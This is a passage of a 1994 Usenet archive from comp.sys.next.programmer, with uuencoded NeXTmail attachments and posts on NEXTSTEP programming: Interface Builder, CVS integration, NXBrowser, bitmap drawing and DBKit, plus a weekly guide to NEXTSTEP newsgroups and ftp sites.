M9"!E:71H97(L('=H:6-H(&ES(')E8V]M;65N9&5D+"!A;F0@=VAY/R`@06QS M;RQ<"CX@87)E('1H97)E(&%N>2!F='`@<VET97,@=VAE<F4@97AA;7!L97,L M(&5T8RXL(&UA>2!B92!D;W=N;&]A9&5D/UP*/B!<"CX@0FEG('1H86YK<R!I M;B!A9'9A;F-E+B`@4&QE87-E(')E<&QY(&)Y(&1I<F5C="!E;6%I;"Y<"CX@ M7`H^($-H965R<RQ<"CX@17)I8R!*+B!+<FES=&]F9EP*/B!<"CX@53,W.#8U M0%5)0U9-+D-#+E5)0RY%1%5<"CX@7`H^("HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BI<"CX@*BH@15))0R!*+DM225-43T9&("`@("`@("`@*BH@6T0R62A8 M+%0I72]$6%XR/5LQ+U9>,EU;1#)9*%@L5"DO1%1>,ETJ*EP*/B`J*B!5,S<X M-C5`54E#5DTN0T,N54E#+D5$52`J*B!!3ED@5$%+15)3/R`H1#(]4$%25$E! M3"!$15))5D%4259%*2`@("HJ7`H^("HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BI<"EP*"EQF,5QF<S(X($5R:6,L7`H)=&5L;"!Y;W5R(&9R:65N9"!T:&4@ M<V%M92!T:&EN9R!S;VUE;VYE(&]N8V4@=&]L9"!M92XN+BYS=&%Y(&%W87D@ M9G)O;2!0;W-T<V-R:7!T(&%S(&QO;F<@87,@>6]U(&-A;BX@(%1H92!!<'!+ M:70@<VAO=6QD(&)E(&%B;&4@=&\@:&%N9&QE(&UO<W0@<F5Q=6ER96UE;G1S M+"!0;W-T<V-R:7!T(&ES(&$@;&%S="!R97-O<G0@*&1O;B=T(&=O(&QO;VMI M;F<@9F]R('1R;W5B;&4I+B`@4FEC:"!497AT(&ES(&%C='5A;&QY('9E<GD@ M<VEM<&QE('1O(&EM<&QE;65N="X@($QE="!M92!S=6=G97-T('-O;64@8F%S M:6-S.EP*7`HQ*2!S970@=7`@=&AE('1E>'0@;V)J96-T('1O(&)E(')I8V@@ M=&5X="X@($EN('-O;65W:&5R92!L;V=I8V%L("AL:6ME(`I<9C)<9G,R,"!A M<'!$:61);FET.@I<9C%<9G,R."`@;W(@"EQF,EQF<S(P(&%W86ME1G)O;4YI M8@I<9C%<9G,R."`I+"!D;PI<9C)<9G,R,"`@6UMS8W)O;&Q6:65W(&1O8U9I M97==('-E=$UO;F]&;VYT.DY/70I<9C%<9G,R."`@86YD(`I<9C)<9G,R,"!; M6W-C<F]L;%9I97<@9&]C5FEE=UT@<V5T1F]N=%!A;F5L16YA8FQE9#I915-= M"EQF,5QF<S(X("Y<"EP*5&AI<R!W:6QL(&=I=F4@4E1&(&-A<&%B:6QI='DL M(&%N9"!S970@=7`@1F]N=%!A;F5L(&EN=&5R86-T:6]N+EP*7`HR*2!I9B!Y M;W5R(&9R:65N9"!I<R!S:6UP;'D@=W)I=&EN9R`B4U1!5%53(B!M97-S86=E M<R!O=70@=&\@=&AE(%-C<F]L;%9I97<L(&AA=F4@:&EM+VAE<B!W<FET92!M M97-S86=E<R!T;R!A;B!.6%-T<F5A;2P@86YD(&%T(&%P<')O<')I871E(&EN M=&5R=F%L<RP@8V%L;`I<9C)<9G,R,"`@6UMS8W)O;&Q6:65W(&1O8U9I97== M(')E861497AT.G-T<F5A;5T*7&8Q7&9S,C@@("AT:&ES('=I;&P@;VYL>2!C M;W!Y(&]U="!S=')A:6=H="!T97AT+"!N;W0@9F]R;6%T=&5D('1E>'0L(&EN M('1H92!D969A=6QT(&9O;G0@;V8@=&AE('1E>'1/8FIE8W0N("!)9B!Y;W5R M(&9R:65N9"!I<R!W<FET:6YG(%)41B!T;R!T:&4@<W1R96%M+"!U<V4@"EQF M,EQF<S(P(%M;<V-R;VQL5FEE=R!D;V-6:65W72!R96%D4FEC:%1E>'0Z<W1R M96%M72DN7`I<"DEF(&%N>2!O9B!T:&ES(&ES;B=T(&-L96%R+"!D<F]P(&UE M(&$@;&EN92X@($%L<V\L(&UO<F4@:6YF;W)M871I;VX@86)O=70@=VAA="!Y M;W5R(&9R:65N9"!I<R!D;VEN9R!W;W5L9"!B92!H96QP9G5L(&EN(&]R9&5R M('1O('-U9V=E<W0@82!S;VQU=&EO;BX@($%G86EN+"!T:&5R92!I<R!A('1I M;64@86YD(&$@<&QA8V4@9F]R(%!O<W1S8W)I<'0@*&ET)W,@9W)E870L(&QI M:V5L>2!A<R!N;W0L('1H97)E)W,@82!B971T97(@=V%Y+"!V:6$@=&AE($%P M<$MI="DN7`I<"DAO<&4@=&AI<R!H96QP<RQ<"E)I:R!#;W5S96YS("AC;W5S 796YS0&)I>G1E8V@N8V]M*5P*7`H*?0IP `
Newsgroups: comp.sys.next.programmer From: rik@rikhost (rik cousens) Subject: Re: documentation generator ? Message-ID: <1994Mar23.005242.15833@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Mar16.032336.17702@FreemanSoft.com> Distribution: usa Date: Wed, 23 Mar 1994 00:52:42 GMT In article <1994Mar16.032336.17702@FreemanSoft.com> joe@FreemanSoft.com (Joe Freeman) writes: > It used to be that the NeXT .h files all looked a lot like the rtf man > pages. Has anyone ever actually seen or written the mythical program that > generates docuemntation from .h files? > > > Alternativly, how do people generate their class documentation pages? > > -- > Joe Freeman > FreemanSoft Inc. A NEXTSTEP software and consulting services company. > Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) > Voice: 919.783.7033 Joe, I actually wrote code for bundle that can be dynamically loaded into any app (10 lines of code, tops), that gives you a list of ALL classes that you wrote for this app, and allows you to generate NeXTStep 2.2 style documentation for the class, or a header file, just by double-clicking. If you're interested, drop me a line. Rik Cousens (cousens@biztech.com) -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M;FEL(%1I;65S+5)O;6%N.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT M>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P M-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R M-%QF8S!<8V8P($EN(&%R=&EC;&4@/#$Y.31-87(Q-BXP,S(S,S8N,3<W,#)` M1G)E96UA;E-O9G0N8V]M/B!J;V5`1G)E96UA;E-O9G0N8V]M("A*;V4@1G)E M96UA;BD@=W)I=&5S.EP*/B!)="!U<V5D('1O(&)E('1H870@=&AE($YE6%0@ M+F@@9FEL97,@86QL(&QO;VME9"!A(&QO="!L:6ME('1H92!R=&8@;6%N("!< M"CX@<&%G97,N($AA<R!A;GEO;F4@979E<B!A8W1U86QL>2!S965N(&]R('=R M:71T96X@=&AE(&UY=&AI8V%L('!R;V=R86T@=&AA="`@7`H^(&=E;F5R871E M<R!D;V-U96UN=&%T:6]N(&9R;VT@+F@@9FEL97,_("`@(%P*/B!<"CX@7`H^ M($%L=&5R;F%T:79L>2P@:&]W(&1O('!E;W!L92!G96YE<F%T92!T:&5I<B!C M;&%S<R!D;V-U;65N=&%T:6]N('!A9V5S/UP*/B!<"CX@+2T@7`H^($IO92!& M<F5E;6%N7`H^($9R965M86Y3;V9T($EN8RX)02!.15A44U1%4"!S;V9T=V%R M92!A;F0@8V]N<W5L=&EN9R!S97)V:6-E<R!C;VUP86YY+EP*/B!%;&5C=')O M;FEC($UA:6PZ"4IO94!&<F5E;6%N4V]F="YC;VT)*$YE6%0@36%I;"E<"CX@ M5F]I8V4Z"0D).3$Y+C<X,RXW,#,S7`I<"@I<9C%<9G,R."!*;V4L7`H)22!A M8W1U86QL>2!W<F]T92!C;V1E(&9O<B!B=6YD;&4@=&AA="`@8V%N(&)E(&1Y M;F%M:6-A;&QY("!L;V%D960@:6YT;R!A;GD@87!P("@Q,"!L:6YE<R!O9B!C M;V1E+"!T;W!S*2P@=&AA="!G:79E<R!Y;W4@82!L:7-T(&]F($%,3"!C;&%S M<V5S('1H870@>6]U('=R;W1E(&9O<B!T:&ES(&%P<"P@86YD(&%L;&]W<R!Y M;W4@=&\@9V5N97)A=&4@3F585%-T97`@,BXR('-T>6QE(&1O8W5M96YT871I M;VX@9F]R('1H92!C;&%S<RP@;W(@82!H96%D97(@9FEL92P@:G5S="!B>2!D M;W5B;&4M8VQI8VMI;F<N("!)9B!Y;W4G<F4@:6YT97)E<W1E9"P@9')O<"!M M92!A(&QI;F4N7`I<"E)I:R!#;W5S96YS("AC;W5S96YS0&)I>G1E8V@N8V]M &*5P*"GT* `
Newsgroups: comp.sys.next.programmer From: Willy Amazing <adams@adamation.com> Subject: Re: vnode_pageout: failed! Message-ID: <Cn3G94.AJo@taligent.com> Sender: usenet@taligent.com (More Bytes Than You Can Read) Organization: Adamation References: <940312222832.10014AAABE.wes@arissoft> Date: Wed, 23 Mar 1994 01:31:52 GMT vnode_pageout: failed! This usually means the disk was full. It could be your internal, external, or perhaps a disk attached via nfs?
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Using CVS from ProjectBuilder Date: 23 Mar 1994 07:34:33 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2more9$c6v@darkstar.UCSC.EDU> I initially looked at using CVS for NEXTSTEP revision control just after version 1.3 was released. Its complexity and quirky interaction with NS' file packages eventually led me to abandon using CVS. But no suitable (inexpensive, capable, integrated with ProjectBuilder, etc.) alternative seems to have emerged and I really need revision control. So I dusted off CVS and the cvs.postamble that I wrote way back when. Now that PB's target list is extensible, I thought I'd approach CVS' integration with PB by taking advantage of this extensibility. So I've defined targets that implement all CVS commands and I've implemented several additional targets that combine various CVS commands to deal with the NEXTSTEP project architecture. There's no need to remember to deal with extracting and reinstalling the CVS administrative directories after a checkout and before a checkin. If you use the "//" comment style, there's no need to explicitly tell CVS to change the comment leader to prevent '#' from being used in implementation file $Log$ lines (it's great that revision control software creates syntax errors, eh ?-) There's no need to remember what directory you need to issue various CVS commands from (let's see, I checked out from my project directory and what!? a whole new work directory hierarchy has been created within my project $%#&*@). The result is an 1100+ line cvs.postamble that's a Bourne shell programmer's dream (nightmare ?-) Actually, about 40% of the file is documentation and comments. I've tried to make it easy to use (as easy as CVS can be :-) and have included a cvs_help target that prints help info to the PB output scrollview. In fact, you might not ever need to leave PB to issue a CVS command from a shell - that's a goal, anyway. But I'm no CVS expert. I need someone familiar with CVS to bang on this a while before I release it for everyone's use (and enjoyment?). So if you currently use CVS and would be willing to spend a little time looking at what I've put together, please let me know and I'll send you the latest cvs.postamble. Thanks for your assistance. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: NXAutolaunch default? Date: 23 Mar 1994 07:51:31 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2mose3$ca5@darkstar.UCSC.EDU> References: <2mlctf$9b6@news1.digex.net> In article <2mlctf$9b6@news1.digex.net> sbender@harmony.digex.net (Scott Bender) writes: > In article <2minjr$fn7@nic-nac.CSU.net> > eps@futon.SFSU.EDU (Eric P. Scott) writes: > > > > You need to capitalize it appropriately: NXAutoLaunch > > > > -=EPS=- > > For some odd reason I assumed that the online documentation was correct! > Hey, what're you complaining about? It's correctly capitalized 3 out of 4 instances in the docs :-) :-) --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: omeyer@rwthi3.informatik.rwth-aachen.de (Oliver Meyer) Newsgroups: comp.sys.next.programmer Subject: Image dragging in IB palettes Date: 23 Mar 1994 10:22:42 GMT Organization: Lehrstuhl fuer Informatik III, RWTH Aachen, Aachen, Germany Distribution: world Message-ID: <2mp59i$9je@urmel.informatik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Keywords: IB palettes drag drop Image Hi! I'm building a palette for IB. Now I want my views to accept images taken from IBs image shelf, like buttons do. What do my views or inspectors have to implement? Do I have to write an editor? I already browsed the documention, but with no succes. Thanks in advance Oliver Meyer P.S. Personal mail preferred.
From: kov@onyx.dartmouth.edu (Ken Overton) Newsgroups: comp.sys.next.programmer Subject: Trouble Linking Classes Into App with IB Date: 23 Mar 1994 15:24:22 GMT Organization: Dartmouth College, Hanover, NH, USA Message-ID: <2mpmv6$259@dartvax.dartmouth.edu> Keywords: IB, Appkit I am working on an '040 Cube running 2.1 Extended. I've started working my way through Garfinkel & Mahoney, but my first attempt at defining a Controller Class for the ol' Calculator example has been foiled by this error (which appears on my console): objc: class `Controller' not linked into application This message appeared when I tried to instantiate the class that I just defined. Silly me, I thought it would eventually link the class at compile time, but it did not. Also, when I tried to test the interface within IB, it did not work at all (but it looked mahvelous), and this message appeared on my console: Mar 23 09:30:42 onyx InterfaceBuilder[595]: Unknown class Controller in Interface Builder file, Does anyone know what part of the system or appkit or IB is responsible for linking newly defined classes into an application? I have been unable to find a FAQ in comp.answers or alt.answers. Any suggestions via post or mail will be welcomed, even if you just want to tell me how stupid I am. KOV
Newsgroups: comp.sys.next.programmer From: rnelson@is.rpslmc.edu (Randy Nelson) Subject: setFrameAutosaveName and loading new nib Message-ID: <1994Mar23.154605.7743@rpslmc.edu> Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center Date: Wed, 23 Mar 1994 15:46:05 GMT I use the following line to save the location of my main window in my app. [iconPanel setFrameAutosaveName:"DockPanel"]; This creates the following line in my defaults: ConnectDock "NXWindow Frame DockPanel" "103 378 66 280 " This works fine, until I open the Info panel. When I load the info panel, it deletes the above entry from my defaults. This appears only to happen when the nib is loaded. The next time that the info panel is brought to the front, my defaults don't get modified. Here is the code to load my infoPanel -infoPanel:sender { if (!infoPanel) [NXApp loadNibSection:"Info.nib" owner:self]; [infoPanel makeKeyAndOrderFront:self]; return self; } Is there anything I can do to prevent this from occuring? -Thanks, Randy Nelson
From: rcw@caspian.cc.vt.edu (R. Craig Woods) Newsgroups: comp.sys.next.programmer Subject: DBQualifier Date: 23 Mar 1994 16:55:02 GMT Organization: Virginia Tech, Blacksburg, Virginia Message-ID: <2mps96$a5o@solaris.cc.vt.edu> I created a simple app using PB and IB that displays all the records in a table when I press a fetch button. (I didn't write a line of code for this.) My next task is to add the capability for fetching qualified records. My technical ref (NeXTSTEP General Ref, Vol 2, p 4-9) says "To constrain the records retrieved, you create a custom object, and in it define a method that creates a DBQualifier object and uses it as an argument of the method fetchContentsOf:usingQualifier:." Could someone explain what they mean when they say "create a custom object, and in it define a method... "?? (I understand how to create the DBQualifier object but I'm not sure how to associate it with the DBModule.) If there are any examples of this, you could point me to them. All I have found so far are examples that create all the DB objects from scratch, not using IB.
From: schmo1@info.isbiel.ch (Olivier Schmid) Newsgroups: comp.sys.next.programmer Subject: Page up/down Date: 23 Mar 1994 16:15:59 GMT Organization: Biel School of Engineering, CH-2501 Biel, Switzerland Distribution: world Message-ID: <2mppvv$p4r@vega.info.isbiel.ch> Is there a possibility to have a page up/down (home/end) function in Edit ? That would help me much in programming ! (or is there an alternative editor ?) Thanks Olivier
Newsgroups: comp.sys.next.programmer From: scott@parsec.mixcom.com (Scott Violet) Subject: Setting user name in DBDatabase Message-ID: <1994Mar23.144618.630@parsec.mixcom.com> Summary: How to? Keywords: DBDatabase, Sybase, Login Organization: SmartSoft Distribution: usa Date: Wed, 23 Mar 1994 14:46:18 GMT Hi all, I'ld like to connect to a sybase server with a model I have, but I want the login name to match the current user name. I see that I can do it using: the connectUsingAdaptor:andString: DBDatabase method. But, the docs say you should only use this when you want to use a different adaptor, which isn't what I want. So, how do I set a different login when I want to use the same model? It seems as though this should be a typical question with permissions and what not. Thanks in advance, -Scott Violet (scott@SmartSoft.com)
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: NXBrowser / adding items Date: 23 Mar 1994 17:34:08 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2mpuih$qmu@transfer.stratus.com> I'm trying to dynamically update a NXBrowser. When I add a file, I want to create a new NXBrowserCell, set it up and tell the browser to redisplay. Things work, except the browser refuses to redisplay, until I change the size of my window ... only then do my values appear. Obviously, I'm missing something here with the NXBrowser class, but I'm not sure what, and I've been unable to find a real example to model after. Here's a segment of the code ... - addFilename: (const char *) file { int i; const char *file; id matrix; int cellCount; id cell; matrix = [browser matrixInColumn: 0]; cellCount = [matrix cellCount]; [matrix addRow]; cell = [matrix cellAt: cellCount : 0]; [cell setStringValue: file]; [cell setLeaf: YES]; [cell setLoaded: YES]; [browser displayColumn: 0]; return self; }
Newsgroups: comp.sys.next.programmer From: ivor@cs.mcgill.ca (Ivo ROTHSCHILD) Subject: Drawing Bitmaps Message-ID: <1994Mar23.173252.5435@sifon.cc.mcgill.ca> Sender: ivo@hasc.ca (Ivo Rothschild) Organization: SOCS, McGill University, Montreal, Canada Date: Wed, 23 Mar 1994 17:32:52 GMT I've been trying to draw bitmaps into a view and getting very bad performance. I am using an NXBitmapImageRep object which holds RGB planar data. I have an NXImage which holds the rep. When I change the bitmap data I call -recache or - useRepresentation in the image and then composite the image into my view. My image is small, 256x192, but the recache, composite, NXPing takes about 0.5 seconds. There must be a better, faster way to draw an RGB bitmap into a view. If anyone has any ideas please email me. Thanks. -ivo ivo@hasc.ca
Newsgroups: comp.sys.next.programmer From: ivor@cs.mcgill.ca (Ivo ROTHSCHILD) Subject: Drawing Bitmaps Message-ID: <1994Mar23.165346.2872@sifon.cc.mcgill.ca> Sender: ivo@hasc.ca (Ivo Rothschild) Organization: SOCS, McGill University, Montreal, Canada Date: Wed, 23 Mar 1994 16:53:46 GMT I've been trying to draw bitmaps into a view and getting very bad performance. I am using an NXBitmapImageRep object which holds RGB planar data. I have an NXImage which holds the rep. When I change the bitmap data I call -recache or - useRepresentation in the image and then composite the image into my view. My image is small, 256x192, but the recache, composite, NXPing takes about 0.5 seconds. There must be a better, faster way to draw an RGB bitmap into a view. If anyone has any ideas please email me. Thanks. -ivo ivo@hasc.ca
From: Christian Brudevoll <chribrud@ifi.uio.no> Newsgroups: comp.sys.next.programmer Subject: Controlling the hole screen Date: 23 Mar 1994 19:11:32 +0100 Organization: Dept. of Informatics, University of Oslo, Norway Message-ID: <MM.764446289.15320.holmenkollen@ifi.uio.no> I want to make a window controlling all of the screen. My questions are then: How do I make a window apear in front of the others, as the printing panel How do I find out how big the screen is? Christian Brudevoll University of Oslo Norway
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: Re: Controlling the hole screen Date: 23 Mar 1994 18:46:13 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2mq2pl$pdk@agate.berkeley.edu> References: <MM.764446289.15320.holmenkollen@ifi.uio.no> In article <MM.764446289.15320.holmenkollen@ifi.uio.no> Christian Brudevoll <chribrud@ifi.uio.no> writes: >I want to make a window controlling all of the screen. >My questions are then: > >How do I make a window apear in front of the others, as the printing panel > >How do I find out how big the screen is? See NeXT's Winfo MiniExample available from ftp.next.com NextAnswers in Software_and_Tools. Here's some extracts of relevant stuff. MiniExamples/AppKit/Winfo/WinInfo.m: ----- excerpts ----- // Set up displayWin. This is a window the size of the full screen, // into which we draw the outlines or contents of all other windows. // displayWin gets set in front of all other windows on the system // (except the Winfo report panel), and hides them all. // displayWin is a panel, so that we can avoid making it key [NXApp getScreenSize:&r.size]; //Initialize the origin of the rectangle r.origin.x = r.origin.y = 0.0; displayWin = [Panel newContent:&r style:NX_PLAINSTYLE backing:NX_BUFFERED buttonMask:0 defer:NO]; [displayWin setBecomeKeyOnlyIfNeeded:YES]; // it will never be key vw = [WView newForClient:self]; [displayWin setContentView:vw]; .... // Put the display window one level beneath the report panel // (but in front of everybody else) [vw lockFocus]; mySetCurrentWindowLevel(REPORTPANELLEVEL-1); [vw unlockFocus]; .... --- wwrap.psw (excerpt) --- // Sets level of current window defineps mySetCurrentWindowLevelOfWindow(int win; int level) level win setwindowlevel endps -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 23 Mar 1994 14:42:45 -0500 Organization: Next Announcements Message-ID: <2mq63l$gm@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: montgomery_zukowski@il.us.swissbank.com (Montgomery Zukowski) Newsgroups: comp.sys.next.programmer Subject: IB paste functionality?? IB Mole update... Date: 23 Mar 1994 15:36:56 -0500 Organization: The Ohio State University Sender: root@magnus.acs.ohio-state.edu Message-ID: <9403232036.AA04018@nwk122_ocachi> Well the IB Mole seems to have some side effects :(. Connections mysteriously appear and disappear, filenames change and sometimes IB just crashes. Things change which have nothing to do with what I'm modifying in IB, and that is bad... Anyhoo twist your brain around this one: I want to archive a bunch of objects into a typed stream and then unarchive them into IB's pasteboard. Then I could paste them where I need them. For instance if I was given a list of names and types I could create a bunch of text fields as titles with "name" set as string value and fields right next to those as with the class of the field determined by the type (date, float, int, etc.) I could also have all of the nextText outlets set correctly. Just to make it more exciting let's say I want to also have connections between the fields and a controller object based on the field name (eg. takeBirthdayFrom:sender). In IB's scheme of things this leads to a few problems. First IB likes to separate the objects by type, IBObjectPboardType, IBMenuPboardType, etc. which doesn't bode well for connections across types. Second is that the IBDocument provides the method for copying objects into the pasteboard. What does that actually do? If it uses part of it's object hierarchy like file's owner in the archiving, then that won't work if the objects aren't already in the document. Sidenote: With the mole I tried an attachObject:to: a nib called "one.nib". I went back to IB and tried to save the file and it wouldn't do it. I tried to revert it and IB told me the my file "one" did not exist. Somehow the extension got stripped off. Go figure. It wouldn't let me do a save as either. Ooops, just checked the console, 25 messages: Mar 23 14:19:12 nwk122_ocachi InterfaceBuilder[3980]: Unknown error code 11005 in NXReportError Seems like I was exiting my program before IB had a chance to save my object... Well, if the IBPboardTypes were better documented then I could paste them from any app (isn't that what a pasteboard is for?) and I could do most of what I want. So, has anybody been able to archive objects to a file and then import them into a nib successfully? Later, Monty
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Getting host ethernet number? Message-ID: <1994Mar23.191447.29800@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Wed, 23 Mar 1994 19:14:47 GMT Subject says it all. I would like to get the Ethernet number of a machine (programmatically, in Obj C), but I have no idea of to do that. Any help is welcome, Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
